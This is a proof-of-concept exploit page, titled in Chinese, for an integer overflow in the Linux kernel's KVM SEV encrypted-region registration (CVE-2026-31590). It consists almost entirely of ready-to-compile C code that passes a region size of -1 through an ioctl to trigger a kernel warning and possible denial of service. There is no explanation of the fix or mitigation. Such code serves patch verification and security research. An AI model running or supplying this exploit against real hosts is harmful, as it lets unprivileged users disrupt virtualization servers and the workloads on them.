CVE-2026-31590 Linux内核KVM SEV拒绝服务漏洞

#include <linux/kvm.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdint.h> int main() { // Open the KVM device int kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // Create a virtual machine int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); close(kvm_fd); return 1; } // Prepare the malicious region structure // Setting size to -1ul (max unsigned long) to trigger integer overflow in npages calculation struct kvm_enc_region range = { .addr = 0, .size = (unsigned long)-1, // -1ul }; printf("Triggering CVE-2026-31590 by registering a region with size: %lu\n", range.size); // Execute the IOCTL to register the encrypted memory region // This calls sev_mem_enc_register_region -> sev_pin_memory // The kernel will trigger a WARN due to npages > INT_MAX int ret = ioctl(vm_fd, KVM_MEMORY_ENCRYPT_REG_REGION, &range); if (ret < 0) { // The IOCTL is expected to fail (return -EINVAL or similar), // but the goal is to trigger the WARN in the kernel log (dmesg). perror("ioctl KVM_MEMORY_ENCRYPT_REG_REGION failed"); } else { printf("IOCTL succeeded (unexpected).\n"); } close(vm_fd); close(kvm_fd); return 0; }